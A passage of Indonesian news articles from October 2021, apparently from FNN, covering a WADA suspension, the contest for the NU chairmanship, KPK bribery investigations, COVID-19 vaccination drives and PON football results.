kelas dunia yang bakal berlangsung November nanti di Bali, tetap diizinkan oleh BWF. Alasannya, ajang ini sudah lama masuk dalam kalender BWF. Sebelumnya diberitakan bahwa Korea Utara, Thailand dan Indonesia dinyatakan tidak patuh oleh WADA, sehingga negara-negara tersebut tidak memenuhi syarat untuk diberi hak menjadi tuan rumah kejuaraan regional, kontinental atau dunia selama penangguhan berlangsung. Perwakilan dari tiga negara itu juga tidak memenuhi syarat untuk duduk sebagai anggota dewan di komite sampai negara mereka dipulihkan dari penangguhan atau untuk jangka waktu satu tahun, mana yang lebih lama. Atlet dari tiga negara itu akan diizinkan untuk bersaing di kejuaraan regional, kontinental dan dunia tetapi bendera nasional mereka tidak akan dikibarkan selain di Olimpiade. WADA mengatakan bahwa Badan Anti-Doping Nasional (NADO) Korea Utara dan Indonesia dinyatakan tidak patuh karena tidak menerapkan program pengujian yang efektif. Sedangkan ketidakpatuhan Thailand berasal dari kegagalan untuk sepenuhnya menerapkan Kode Anti-Doping 2021. (mth)

Muktamar-34: Yahya Staquf Mulai “Diserang” Soal ke Israel (4)

Oleh: Mochamad Toha Usai melaporkan persiapan Muktamar ke-34 NU, 23-25 Desember 2021, di Lampung dan mengundang Presiden Joko Widodo untuk membuka gelaran itu, Ketum PBNU Said Aqil Sirodj, tiba-tiba menyinggung soal Israel. Said Aqil menyebut Israel tak layak dikunjungi karena menjajah Palestina. Ucapan Said Aqil yang tiba-tiba itu memantik pertanyaan apakah ini untuk menyinggung Yahya Staquf yang pernah mengunjungi Israel. Kepada wartawan, Rabu (6/10/2021), Said Aqil mengungkap, NU sempat ditawari untuk berkunjung ke Israel dua tahun lalu. Namun, tawaran itu ditolaknya atas alasan Israel yang tidak mau mengakui Palestina. “Masalah kemandirian bahwa kita sama-sama NU dan presiden juga sama berpendapat menjaga kemandirian jangan sampai kita terpengaruh oleh kepentingan luar,” kata Said Aqil. “Sikap Indonesia terhadap Palestina tetap jelas, keberpihakan ke Palestina. Selama Israel tidak mengakui negara Palestina, maka Indonesia tidak akan mengakui negara Israel secara politik,” lanjut Said Aqil. “Ibu Retno (Menteri Luar Negeri) pun seperti itu, selalu mengatakan seperti itu,” ungkap Said Aqil kepada wartawan seusai bertemu Presiden Jokowi di Istana Kepresidenan, Rabu (6/10/2021). Ia mengaku, dulu pendapatnya juga begitu waktu dua tahun yang lalu, NU ditawari berkunjung ke Israel, “Saya tolak selama Israel belum mengakui Palestina, tidak akan pernah, kalau sudah saling mengakui ayo,” ujarnya. Dalam pertemuan dengan Presiden Jokowi, Said Aqil melaporkan soal hasil Munas dan Konbes NU yang menyepakati Muktamar NU akan digelar pada Desember 2021. Jokowi sempat bertanya ke Said Aqil mengenai pelaksanaan Muktamar NU yang berpotensi melibatkan banyak orang. Ia menegaskan, pelaksanaan Muktamar NU harus mendapatkan izin dari Satgas Covid-19. Said Aqil mengaku diminta lagi menjadi Ketum PBNU oleh sejumlah kiai. Meski begitu, dia mempersilakan kader-kader NU lain untuk berkompetisi. “Pokoknya silakan kompetisi kader-kader NU yang mau maju, silakan maju beberapa kiai sepuh antara lain Tuan Guru Turmudzi Lombok, Kiai Hasan Cirebon, Kiai Muhtadi Banten meminta kepada saya agar maju lagi, kiai-kiai sepuh dan beberapa teman,” ujar Said Aqil. Meski belum secara resmi mendeklarasikan diri untuk maju menjadi Ketum PBNU, Said Aqil menyatakan siap jika banyak diminta oleh sejumlah pihak. Sebagai kader, Said Aqil mengatakan harus selalu siap. “Kalau banyak permintaan ya saya siap dong, yang namanya kader kalau sudah banyak permintaan, siap. Walaupun sampai sekarang saya belum declare secara resmi, tapi permintaan sudah sangat banyak,” ujarnya. Yahya Staquf yang juga calon kuat Ketum PBNU pernah menghadiri acara di Israel. Dia menjadi pembicara di forum American Jewish Committee (AJC) Global Forum di Israel yang dihadiri 2.400 orang. Dia kemudian memberi kuliah umum di The Truman Institute di Israel pada Rabu (13/6/2018). Setelah itu, Yahya Staquf juga bertemu dengan Perdana Menteri Israel, Benjamin Netanyahu. Yahya Staquf mengungkap, sedang melakukan upaya memperkuat gerakan perdamaian lewat kunjungannya itu. “Upaya saya ini mengajak atau memperkuat gerakan perdamaian di tingkat akar rumput di masyarakat menjadi konsensus sosial. Semua orang mau perdamaian,” kata Yahya Staquf, Kamis (21/6/2018). Ketika menjadi pembicara dalam forum American Jewish Committee (AJC) di Israel, Yahya Staquf berbicara soal jalan rahmah atau kasih sayang dengan mengajak dunia memilih jalan tersebut. Menurutnya, kalau ini menjadi konsensus sosial, aspirasi fundamental dari seluruh masyarakat, “maka kita harapkan ini akan menjadi penentu dari perilaku pemerintahnya dalam pergaulan internasional,” tuturnya. Yahya Staquf juga bicara dalam sesi lain dengan jumlah peserta yang lebih sedikit. Menurutnya, dalam kunjungannya ke Israel tersebu intinya adalah mengajak orang mengubah pola pikir. Ia juga katakan kepada teman-teman Yahudi di sana, bukan hanya mindset umat Islam yang harus berubah, mindset Yahudi harus berubah, mindset pemerintah Israel juga harus berubah. “Jika tidak berubah, tidak akan ada gunanya,” tutur Yahya Staquf. Apakah pernyataan Said Aqil yang menyial kunjungan ke Israel itu ditujukan pada Yahya Staquf, hanya Said Aqil yang tahu, selain Allah dan Malaikat. Diakui Ketua PWNU DKI Jakarta Syamsul Maarif, saat ini calon kuat Ketum PBNU adalah Said Aqil Sirodj dan Yahya Cholil Staquf. “Ada dua calon yang sudah menguat, satu Kiai Said Aqil Sirodj sebagai incumbent,” katanya. “Kalau Yahya Staquf itu memang sudah declare, tetapi kalau Kiai Said siap maju karena diminta oleh banyak wilayah. Dia dianggap membawa NU lebih bagus, terutama di dunia pendidikan,” lanjutnya, Jumat (1/10/2021). Lawatan Yahya Staquf yang saat itu menjadi Anggota Dewan Pertimbangan Presiden (Wantimpres) memicu kontroversi. Setidaknya dari Majelis Ulama Indonesia (MUI). Ketua Bidang Hubungan Luar Negeri MUI Muhyiddin Junaidi mengatakan, lawatan Anggota Wantimpres Yahya Staquf ke Israel ketika itu melanggar etika diplomasi, konstitusi, dan aspek hubungan sosial keagamaan. Yahya Staquf datang ke Israel untuk menghadiri konferensi tahunan Forum Global AJC (Komite Yahudi Amerika) yang digelar di Yerusalem selama 10-13 Juni 2018. Itulah kali pertama Forum Global AJC yang dilakukan di luar Amerika sejak lembaga advokasi Yahudi ini berdiri 112 tahun lalu. Presiden Abdurrahman Wahid alias Gus Dur pernah menghadiri acara serupa yang dilangsungkan pada 2002 di Ibu Kota Washington DC, Amerika Serikat. Dari sisi konstitusi dan politik internasional, lanjut Muhyidddin, Indonesia memiliki sikap tegas, yakni tidak mengakui kedaulatan Israel sampai Israel mengakui kemerdekaan Palestina. Bahkan salah satu hasil Konferensi Tingkat Tinggi Organisasi Konferensi Islam (OKI) mengenai Yerusalem yang digelar di Jakarta pada 2016, adalah memboikot barang-barang dari Israel. Apalagi, Muhyiddin menegaskan, Israel adalah satu-satunya negara yang tidak mau tunduk terhadap resolusi yang dikeluarkan Majelis Umum dan Dewan Keamanan Perserikatan Bangsa-Bangsa (PBB). "Jadi kami melihat kunjungan ini sangat merusak citra Indonesia di dunia internasional. Karena, kunjungan itu justru merusak hubungan bilateral Indonesia dengan Palestina, dan hubungan Indonesia dengan negara Arab lainnya," tandasnya. Ditambah, kunjungan Yahya Staquf itu terjadi saat pasukan Israel gencar membunuhi demonstran Palestina di sepanjang perbatasan Jalur Gaza – Israel, yang menewaskan 139 orang tewas dan 10 ribu lainnya cedera. Muhyiddin menegaskan sebagai anggota Wantimpres, Yahya Staquf mesti memahami dirinya tidak bisa memenuhi undangan ke Israel. Atau berpikir dengan sekali kunjungan bisa menyelesaikan konflik Israel – Palestina. Tiga negara berpenduduk mayoritas muslim – Mesir, Yordania, dan Turki – yang telah membina hubungan diplomatik dengan Israel saja sampai saat ini belum mampu mewujudkan negara Palestina merdeka dan berdaulat dengan ibu kotanya di Yerusalem Timur. Maukah warga Nahdliyin nantinya dipimpin Yahya Staquf yang mengakui negara Israel? Semua tergantung utusan Nahdliyin. (Bersambung) Penulis adalah Wartawan FNN.co.id

PHRI Kota Batu Sebut Okupansi Hotel Mulai Membaik

Kota Batu, FNN - Perhimpunan Hotel dan Restoran Indonesia (PHRI) Kota Batu menyatakan bahwa saat ini tingkat keterisian atau okupansi kamar hotel yang ada di wilayah Kota Batu, Jawa Timur, sudah mulai membaik seiring dengan melandainya kasus COVID-19. Ketua PHRI Kota Batu Sujud Hariadi, di Kota Batu, Jawa Timur, Jumat mengatakan bahwa, okupansi hotel yang ada di Kota Batu pada saat akhir pekan mencapai 50 persen, sementara pada hari-hari biasa tercatat sebesar 20 persen. "Hotel sudah mulai membaik. Untuk hari biasa sudah 20 persen, untuk akhir pekan sampai 50 persen," kata Sujud, kepada ANTARA. Sujud menjelaskan, kondisi saat ini memang sudah bisa dikatakan bahwa bisnis perhotelan sudah mulai pulih dalam masa pandemi COVID-19, namun bukan dalam arti pulih seperti sebelum terjadi pandemi penyakit akibat penyebaran virus Corona. Untuk saat ini, lanjutnya, para wisatawan yang menginap di hotel-hotel yang ada di wilayah Kota Batu berasal dari Jakarta, Jawa Tengah, dan wilayah Surabaya Raya. "Ini sudah mulai pulih, tapi dalam kondisi pandemi, bukan dalam kondisi normal. Untuk wisatawan yang menginap paling banyak berasal dari Surabaya Raya," ujarnya. Ia menambahkan, saat ini, hotel-hotel yang ada di wilayah Kota Batu, beroperasi dengan kapasitas maksimal sebesar 50 persen dari total jumlah kamar yang dimiliki. Selain itu, tamu yang menginap, juga menggunakan aplikasi PeduliLIndungi. "Untuk saat ini wisatawan menggunakan aplikasi PeduliLindungi untuk menginap di hotel. Sudah ada lebih dari 50 persen hotel yang ada di Kota Batu menerapkan hal tersebut," ujarnya. PHRI Kota Batu menaungi kurang lebih 70 hotel dan restoran yang beroperasi di wilayah tersebut. Dari 70 hotel yang tergabung di PHRI tersebut, ada kurang lebih sebanyak 28 hotel besar, dengan jumlah karyawan yang cukup banyak. Ia mengharapkan langkah percepatan vaksinasi khususnya di wilayah Malang Raya yang terdiri dari Kota Malang, Kota Batu, dan Kabupaten Malang bisa dilakukan percepatan. Hal tersebut bertujuan agar ada penyesuaian aturan sesuai dengan target capaian vaksinasi. "Karena kita aglomerasi Malang Raya, kita berharap level bisa segera turun ke level 1. Jika sudah level 1, maka daya tampung hotel bisa mencapai 75 persen," tambahnya. Berdasarkan Instruksi Mendagri Nomor 47 Tahun 2021 Tentang Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Level 4, Level 3, Level 2, dan Level 1 COVID-19 di wilayah Jawa dan Bali, Kota Batu berada pada status PPKM level 3. Tercatat, secara keseluruhan di wilayah Kota Batu, ada sebanyak 3.081 kasus konfirmasi positif COVID-19. Dari total tersebut, sebanyak 2.808 orang dilaporkan telah sembuh, 263 orang dinyatakan meninggal dunia, dan sisanya berada dalam perawatan. (mth)

Ridho Rahmadi: Partai Ummat Siap Berkompetisi pada Pemilu 2024

Jakarta, FNN - Ketua Umum Partai Ummat Ridho Rahmadi menegaskan partainya siap untuk berkompetisi pada Pemilihan Umum (Pemilu) 2024. "Kapan pun tanggalnya, Insyaallah Partai Ummat siap," kata Ridho di Kantor DPP Partai Ummat, Jakarta, Jumat. Ridho menjelaskan saat ini pihaknya sedang fokus merampungkan keanggotaan partai dengan kartu tanda anggota (KTA) sesuai aturan KPU. "KTA ditargetkan selesai Desember 2021 hingga Januari 2022," ujar Ridho. Menantu Amien Rais itu belum ingin menyampaikan berapa persentase yang sudah dicapai dalam hal jumlah keanggotaan. Saat ini pihaknya masih mengirimkan blangko pendaftaran keanggotaan kepada dewan pimpinan daerah (DPD). "Pendaftaran secara online dan oflfline di daerah masih terus berjalan," kata Ridho. Ridho menegaskan pihaknya menyiapkan berkas verifikasi keanggotaan partai melebihi target dalam peraturan KPU. Alasannya, kemungkinan dalam verifikasi faktual nantinya sebagian kecil pasti ada kegagalan. Ridho menegaskan di tengah persaingan partai-partai baru, Partai Ummat menggunakan skenario pembagian konstituen pemilih. Pertama, fokus menggarap para pemilih usia 40 tahun ke atas atau para loyalis Amien Rais sebagai pendiri Partai Ummat. Kedua, partai juga menggarap para pemilih millenial atau para pemilih muda. "Kami optimistis bisa lolos ambang batas parlemen 4 persen," kata Ridho menegaskan. (mth)

KPK Jamin Lindungi dan Jaga Kerahasiaan Pelapor Gratifikasi

Jakarta, FNN - Pelaksana tugas (Plt) Direktur Direktorat Gratifikasi dan Pelayanan Publik KPK Syarief Hidayat mengatakan bahwa pelapor gratifikasi dilindungi dan dijaga kerahasiaan identitasnya. "Melindungi dan menjaga kerahasiaan identitas pelapor merupakan kewajiban Direktorat Gratifikasi dan Pelayanan Publik KPK," kata Syarief dalam siaran langsung Facebook Komisi Pemberantasan Korupsi bertajuk “Kepo-in Gratifikasi” dipantau dari Jakarta, Jumat. Oleh karena itu, Syarief mengajak seluruh masyarakat untuk berani melapor apabila menemukan kasus dugaan gratifikasi agar bisa segera diperdalam dan ditindaklanjuti. Syarief menjelaskan, pelaporan tindakan gratifikasi dapat dilakukan melalui Gratifikasi Online (GOL), Unit Pengendalian Gratifikasi (UPG) di kementerian, lembaga, dan organisasi pemerintahan daerah (KLOP), juga layanan pengaduan masyarakat. “Pengaduan yang masuk ke Direktorat Humas biasanya dilemparkan kepada kami (Direktorat Gratifikasi dan Pelayanan Publik KPK). Kami lakukan pendalaman, pemeriksaan tertutup, sampai mendapatkan bukti bahwa memang ada benar tindak pidana gratifikasi ini,” jelas Syarief. Khusus pegawai KLOP yang instansinya telah memiliki Unit Pengendalian Gratifikasi (UPG) disarankan untuk melaporkan dugaan gratifikasi ke unit itu. Namun, kata Syarief, masih ditemukan pegawai yang melapor melalui GOL. “Memang masih ada pegawai yang belum merasa nyaman melaporkan tindakan gratifikasi pada UPG. Ini PR (pekerjaan rumah, Red) bersama sebenarnya. Ke depan semuanya lapor melalui UPG,” ucap Syarief. Syarief pun menjelaskan, di dalam tindakan gratifikasi, ada beberapa pemberian yang termasuk pengecualian dan telah diatur dalam Pasal 2 Ayat 3 Peraturan KPK Nomor 2 Tahun 2019. Di antaranya adalah pemberian dari keluarga sepanjang tidak terdapat konflik kepentingan tertentu, keuntungan atau bunga dari penempatan dana, investasi, atau kepemilikan saham, manfaat dari koperasi, hadiah dari perlombaan, kompensasi di luar kegiatan kedinasan, hingga hadiah pernikahan yang jumlahnya di bawah Rp1.000.000. "Sebaliknya, bila benar ditemukan adanya kasus gratifikasi, pemberian yang diterima ASN atau penyelenggara negara tersebut menjadi hak milik instansi terkait," kata Syarief. (mth)

Polri Periksa Empat Tersangka Penganiaya Kece

Jakarta, FNN - Direktorat Tindak Pidana Umum (Ditipidum) Bareskrim Polri memeriksa empat dari lima tersangka kasus dugaan penganiayaan terhadap Muhammad Kece, tersangka dugaan penistaan agama, di Rutan Bareskrim Polri. Direktur Tindak Pidana Umum Bareskrim Polri Brigjen Pol Andi Rian Djajadi, Jumat, mengatakan pemeriksaan keempat tersangka tersebut dilakukan setelah pihaknya mendapatkan izin dari Mahkamah Agung (MA). "Empat tersangka sudah diperiksa kemarin (Kamis-red)," kata Andi. Keempat tersangka yang dimaksud, yakni DH tahanan kasus uang palsu, DW narapidana kasus ITE, H alias C alias RT, narapidana kasus penipuan dan penggelapan serta HP narapidana kasus perlindungan konsumen. Untuk satu tersangka lainnya, yakni Irjen Napoleon Bonaparte belum diperiksa karena izin dari Mahkamah Agung belum keluar. Adapun kelima tersangka ini dijerat dengan Pasal 170 Jo Pasal 351 ayat (1) KUHP dengan ancaman dua tahun delapan bulan pidana penjara. Menurut Andi, penerapan pasal penganiayaan dan pengeroyokan ini karena dari proses penyelidikan dan penyidikan terungkap bahwa peristiwa ini tidak terjadi di satu tempat tapi ada dua lokasi. Kejadian pengeroyokan itu sendiri ada di dalam sel korban, kemudian ada satu TKP lagi proses Pasal 351 tentang Penganiayaan yang dilakukan oleh Napoleon Bonaparte sendiri. "Untuk saat ini sementara penyidik menerapkan Pasal 170, kalau kami lihat pasal 170 memang di ayat 1 itu ancaman maksimal 5 tahun 6 bulan tetapi kami melihat nanti bagaimana jaksa setelah berkas perkara kami kirim bisa saja ini diterapkan Pasal 170 ayat (2) ke 1, ini lebih tinggi karena faktanya korban kan memang mengalami luka-luka, ini mungkin unsurnya akan dipandang ke sana," kata Andi. Dalam perkara ini ditemukan pelanggaran disiplin oleh petugas jaga dan Kepala Rutan Bareskrim Polri. Kepala Biro Penerangan Masyarakat (Karopenmas) Divisi Humas Polri Brigjen Pol Rusdi Hartono menyebutkan Karutan dan empat petugas jaga tahanan Rutan Bareskrim Polri telah diperiksa oleh Divisi Propam Polri dan diduga melanggar disiplin Polri. "Jadi yang bersangkutan terduga pelanggaran daripada SOP dalam rangka pengamanan Rutan Bareskrim Polri," ujar Rusdi diwawancara terpisah. (sws)

KPK Panggil Enam Saksi Kasus Suap Seleksi Jabatan Pemkab Probolinggo

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK), Jumat, memanggil enam saksi dalam penyidikan kasus dugaan suap terkait seleksi jabatan di lingkungan Pemerintah Kabupaten (Pemkab) Probolinggo, Jawa Timur tahun 2021. "Hari ini, pemeriksaan saksi tindak pidana korupsi terkait seleksi jabatan di lingkungan Pemerintah Kabupaten Probolinggo tahun 2021 untuk tersangka PTS (Puput Tantriana Sari/Bupati Probolinggo)," kata Pelaksana Tugas Juru Bicara KPK Ali Fikri dalam keterangannya, di Jakarta, Jumat. Enam saksi, yaitu Zamroni Fassya selaku PNS/mantan ajudan Anggota DPR RI Hasan Aminuddin, Adimas selaku PNS Kecamatan Lumbang/mantan ajudan Hasan Aminuddin, Taupik selaku PNS/Sekretaris Kecamatan Krejengan/mantan ajudan Hasan Aminuddin, Kepala Dinas Pendidikan Kabupaten Probolinggo Fathur Rozi, Staf Subag Keuangan Dinas Pendidikan Kabupaten Probolinggo Anton Riswanto, dan Sulaiman selaku PNS/mantan Kasubag Rumah Tangga. "Pemeriksaan dilakukan di Polres Probolinggo Kota," ujar Ali. KPK telah menetapkan 22 orang sebagai tersangka kasus tersebut. Sebagai penerima, yaitu Bupati Probolinggo Puput Tantriana Sari (PTS), Hasan Aminuddin yang merupakan suami Puput dan juga pernah menjabat sebagai Bupati Probolinggo, Doddy Kurniawan (DK) selaku Aparatur Sipil Negara (ASN)/Camat Krejengan, Kabupaten Probolinggo, dan Muhammad Ridwan (MR) selaku ASN/Camat Paiton, Kabupaten Probolinggo. Sedangkan 18 orang sebagai pemberi suap merupakan ASN Pemkab Probolinggo. Sebagai penerima, empat orang tersebut disangkakan melanggar Pasal 12 huruf a atau Pasal 12 huruf b atau Pasal 11 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 jo Pasal 55 ayat 1 ke-1 KUHP. Sedangkan sebagai pemberi, 18 orang disangkakan melanggar Pasal 5 ayat (1) huruf a atau Pasal 5 ayat (1) huruf b atau Pasal 13 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 jo Pasal 55 ayat (1) ke-1 KUHP. Dalam konstruksi perkara, KPK menjelaskan bahwa pemilihan kepala desa serentak tahap II di wilayah Kabupaten Probolinggo yang awalnya diagendakan pada 27 Desember 2021 mengalami pengunduran jadwal. Adapun terhitung 9 September 2021 terdapat 252 kepala desa dari 24 kecamatan di Kabupaten Probolinggo yang selesai menjabat. Untuk mengisi kekosongan jabatan kepala desa tersebut, maka akan diisi oleh penjabat (pj) kepala desa (kades) yang berasal dari para ASN di Pemkab Probolinggo dan untuk pengusulannya dilakukan melalui camat. KPK menyebut ada persyaratan khusus di mana usulan nama para pj kades harus mendapatkan persetujuan Hasan yang juga suami Puput dalam bentuk paraf pada nota dinas pengusulan nama sebagai representasi dari Puput dan para calon pj kades juga diwajibkan memberikan dan menyetorkan sejumlah uang. Adapun tarif untuk menjadi pj kades di Kabupaten Probolinggo sebesar Rp20 juta per orang, ditambah dalam bentuk upeti penyewaan tanah kas desa dengan tarif Rp5 juta per hektare. (sws)

Belasan UPT di Kemenkumham NTT Layak Diusulkan Dalam Pembangunan ZI

Kupang, FNN - Staf Ahli Menteri Hukum dan HAM Bidang Politik dan Keamanan Kemenkumham Ambeg Paramarta menilai bahwa sebanyak 14 unit pelaksana tugas (UPT) di Kanwil Kemenkumham NTT layak diusulkan dalam pembangunan zona integritas (ZI) "Saya melihat bahwa di NTT ini kan ada 14 UPT, nah dari semuanya layak untuk diusulkan dalam pembangunan zona integritas (ZI)," katanya kepada wartawan di Kupang, Jumat. Hal ini disampaikan usai memberikan pembinaan dan penguatan pembangunan ZI menuju Wilayah Bebas Korupsi (WBK) dan Wilayah Birokrasi Bersih dan Melayani (WBBM) di Lapas Kelas II A Kupang dan Kantor Imigrasi Kelas I TPI Kupang. Ia menjelaskan bahwa untuk mencapai WBK melalui pembangunan kembali ZI ada enam area yang menjadi penilaian. Enam area itu seperti manajemen perubahan. Bagaimana mengubah cara berpikir seluruh pegawai di 14 UPT itu dalam rangka meningkatkan kualitas pelayanan publik dan mewujudkan layanan yang bersih bebas KKN, tidak ada pungli, dan gratifikasi. "Kemudian dari aspek penataan manajemen SDM dan aspek pengawasan. Jadi harus dipastikan tidak terjadi penyimpangan pada saat kita melakukan tugas pokok dan fungsi," ujar dia. Di dalam aspek penataan itu, katanya, terdapat akuntabilitas kinerja dan bagaimana memastikan bahwa layanan publik meningkat dan berkualitas. Ia mengatakan dalam membangun wilayah ZI itu menyangkut pelayanan publik yang lengkap dan lapas bersih dan bebas KKN. Untuk itu diperlukan Komitmen bersama. "Komitmen tidak hanya dari pemimpinannya, tetapi juga dari semua jajaran termasuk jajaran paling bawah," ujar dia. Untuk pembangunan ZI, katanya, Kemenkumham sudah mendapatkan usulan sebanyak 520 UPT dan hal itu merupakan upaya untuk memastikan bahwa pembangunan ZI itu dilaksanakan pada tingkat satuan kerja-satuan kerja. Kepala Kanwil Kemenkumham NTT Marciana D Jone mengatakan bahwa pihaknya sengaja mengundang Staf Ahli Bidang Hukum dan HAM Bidang Politik dan Keamanan Kementerian Hukum dan HAM Y Ambeg Paramarta untuk meminta dukungan dan arahan agar semangat yang dimiliki jajarannya dapat membuahkan hasil yang baik dalam predikat WBK dan WBBM. Terkait UPT yang diusulkan, ia menyebutkan di antaranya Kanwil Kemenkuham NTT, Lapas Kupang, Lapas Ba'a, Ende, Kalabahi, Lembata, Lapas Terbuka Waikabubak, Lapas Waikabubak, Lapas Pembinaan Anak Kupang, LPP Kupang, Rutan Kupang, Rutan Maumere,. Rutan Soe, Imigrasi Kupang, dan Rudenim. (sws)

Turki Kecam Putusan Israel Soal Ibadah Yahudi di Al Aqsa

Istanbul, FNN - Turki, Kamis (7/10), mengecam keras putusan pengadilan Israel yang mendukung kaum Yahudi beribadah di kompleks Al Aqsa. Kementerian Luar Negeri Turki mengatakan langkah itu akan "semakin memotivasi kalangan fanatik" dan "menyebabkan ketegangan baru" di situs paling suci di Yerusalem. Kementerian meminta masyarakat internasional untuk "menentang keras keputusan yang salah, ilegal dan berbahaya" itu serta "semua provokasi" terhadap Al Aqsa. Dalam putusan penting pada Rabu (6/10), seorang hakim Israel mengatakan bahwa ibadah "hening" oleh kaum Yahudi di kompleks Al Aqsa di Yerusalem Timur yang diduduki bukanlah suatu "tindakan kriminal." Keputusan itu, yang muncul atas banding Rabbi Aryeh Lippo lantaran dilarang mengunjungi lokasi titik nyala tersebut, juga dikecam keras oleh Palestina. Israel menduduki Yerusalem Timur, tempat Al Aqsa berada, selama perang Arab-Israel 1967. Israel mencaplok seluruh kota pada 1980 dalam sebuah langkah yang tidak pernah diakui oleh dunia. (sws) Sumber: Anadolu

KKP Tanjungpinang Buka Layanan Vaksinasi COVID-19 di Pelabuhan

Tanjungpinang, FNN - Kantor Kesehatan Pelabuhan (KKP) Kelas II Tanjungpinang, Provinsi Kepulauan Riau (Kepri) membuka layanan vaksinasi di Pelabuhan Sri Bintan Pura (SBP) bagi pelaku perjalanan dan masyarakat umum. “Kami telah menyiapkan vaksin jenis Sinovac dan Astrazeneca,” kata Kepala KKP Kelas II Tanjungpinang Agus Jamaludin, Jumat (8/10), di Tanjungpinang. Ia mengatakan untuk tahap awal ini telah disiapkan 50 dosis Sinovac dan 20 dosis Astrazeneca. Menurutnya, KKP memang sengaja tidak menyediakan dalam jumlah yang banyak, karena belajar dari pengalaman di Pelabuhan Sri Bayintan Kijang vaksin yang dibutuhkan sedikit sekali. Pada Rabu (6/10), KKP membawa hingga 200 dosis ke Pelabuhan Kijang untuk keperluan penumpang kapal Pelni. “Ternyata hanya beberapa saja yang dibutuhkan, karena semua sudah vaksin dosis lengkap dan ada beberapa yang tidak lolos screening dipicu tensi atau gula darah tinggi," katanya. Untuk sementara ini, kata dia, bagi penumpang Pelni di Pelabuhan Kijang yang membutuhkan vaksinasi, dapat langsung datang ke Kantor KKP di Kilometer 6, Tanjungpinang. “Apalagi lokasinya tidak jauh dari beli tiket di Kantor Pelni, tinggal langsung ke kantor kami,” katanya. Ia menambahkan KP menyediakan fasilitas vaksinasi COVID-19 di pelabuhan untuk memperluas cakupan vaksinasi. Hingga 6 Oktober berdasarkan laman Kemenkes, vaksinasi dosis satu di Kepri sudah 85,87 persen dari target, sedangkan dosis dua sebesar 58,94 persen. Bagi pelaku perjalanan hingga masyarakat yang ingin melakukan vaksinasi COVID-19 disilakan datang ke Pelabuhan SBP Tanjungpinang. "Pelayanan dibuka setiap Senin hingga Sabtu, mulai pukul 07.30 WIB. Fasilitas ini dibuka hingga 22 Oktober," demikian Agus Jamaludin. (sws)

Rekam Jejak Tim Sepak Bola Putra Kaltim dan Jatim di PON Papua

Jayapura, FNN - Grup E cabang olahraga sepak bola putra PON Papua akan menggelar pertandingan kedua yaitu antara Kalimantan Timur vs Jawa Timur di Stadion Barnabas Youwe, Kabupaten Jayapura, Jumat. Pada pertandingan pertama, Kalimantan Timur berhasil menorehkan tiga poin yang membuat mereka saat ini menjadi pemuncak klasemen sementara Grup E. Di pertandingan pertama, Kalimantan Timur berhasil mengalahkan Jawa Barat dengan skor tipis 1-0 berkat gol yang dicetak Agus Santoso. Sebelum bisa berlaga di babak 6 besar PON Papua, Kaltim berhasil lolos dari Grup C dengan status runner-up Grup usai berhasil mengumpulkan 3 poin dari dua pertandingan. Ketika berlaga di Grup C, Kaltim tercatat berhasil menang tipis 1-0 melawan Sulawesi Utara dan kalah secara dramatis 2-3 di laga menghadapi Aceh. Di sisi lain, Jawa Timur datang dari 6 besar setelah keluar sebagai juara grup B di babak penyisihan setelah menyapu bersih semua laga yang ada. Di laga pertama Grup B, Jatim berhasil mengandaskan Sulawesi Selatan dengan skor 3-0, selanjutnya mengalahkan Jawa Tengah 3-0 dan menyudahi perlawanan Sumatera Utara 2-0. Selain lini depan yang produktif, Jawa Timur juga punya modal yang baik di lini pertahanan karena terus mencatat nirbobol pada babak penyisihan Grup B. Berikut sepak terjang Kalimantan Timur dan Jawa Timur selama cabang sepak bola putra PON Papua: Kalimantan Timur Grup C 1 - 0 vs Sulawesi Utara 2 - 3 vs Aceh Grup E (6 Besar) 1 - 0 vs Jawa Barat Jawa Timur Grup B 3 - 0 vs Sulawesi Selatan 3 - 0 vs Jawa Tengah 2 - 0 vs Sumatera Utara. (sws)

Polda Malut Percepat Vaksinasi untuk Pelajar

Ternate, FNN - Kepolisian Daerah (Polda) Maluku Utara intensif melakukan percepatan target vaksinasi, terutama bagi remaja dan pelajar guna menekan penyebaran COVID-19 di provinsi itu. Kabid Humas Polda Malut, Kombes Pol Adip Rojikan di Ternate, Jumat, mengatakan, pihaknya melakukan peninjauan secara langsung dilakukan untuk memastikan program vaksinasi kepada pelajar tepat sasaran, sebagai salah satu upaya dalam mengatasi pandemi COVID-19. "Kegiatan vaksinasi hari ini kepada pelajar SMAN 1 Kota Ternate yang sudah melaksanakan vaksinasi dosis 1 dan 2 sebanyak 346 orang yaitu dosis 1 kepada 326 pelajar, 4 PNS dan dosis 2 kepada 11 pelajar, 3 PNS, 1 orang masyarakat dan 1 lansia serta vaksinasi kali ini melibatkan 25 tenaga vaksinator dari Polri maupun Pemkot Ternate," kata Kabid. Kabid Humas berharap, dengan kolaborasi yang baik, koordinasi yang baik, Polri dengan Pemkot Ternate sehingga pelaksanaan vaksinasi dapat berjalan lancar, agar herd community bisa tercapai. "Mudah-mudahan murid-murid bisa divaksin, guru-gurunya juga sehat, murid-muridnya sehat. Proses belajar mengajar dapat berjalan dengan baik," katanya. Peninjauan vaksinasi Kapolda Malut Irjen Pol Risyapudin Nursin, S.Ik didampingi oleh Kapolres Ternate AKBP Aditya Laksamida, S.Ik, Kepala BPBD Kota Ternate M Arif Abdul Gani, KCD Pendidikan Kota Ternate Drs Yasin Malan, serta Kepala SMA Negeri 1 Kota Ternate Mustamin Lila, S.Pd, M.Pd. Oleh karena itu Satgas COVID-19 bersama TNI/Polri di Malut terus mengupayakan peningkatan vaksinasi bagi anak dan remaja dalam upaya menekan peredaran virus COVID-19. Sementara itu, Kepala Bidang Pencegahan dan Pengendalian Penyakit (P2P) Dinas Kesehatan Malut, dr Rosita Alkatiri dihubungi terpisah menyatakan apresiasinya atas terobosan terkait vaksinasi dilakukan TNI/Polri saat ini, maka strategi daerah harus mengeluarkan regulasi internal melalui instruksi bupati/walikota guna percepatan vaksinasi pada semua tahapan, termasuk di dunia pendidikan guna menekan meningkatnya COVID-19. Kendati demikian, dirinya mengakui, saat ini ada kendala yang dihadapi pemkab setempat seperti minimnya kepercayaan masyarakat terhadap manfaat vaksin akibat efek pemberitaan yang hoax. Sementara 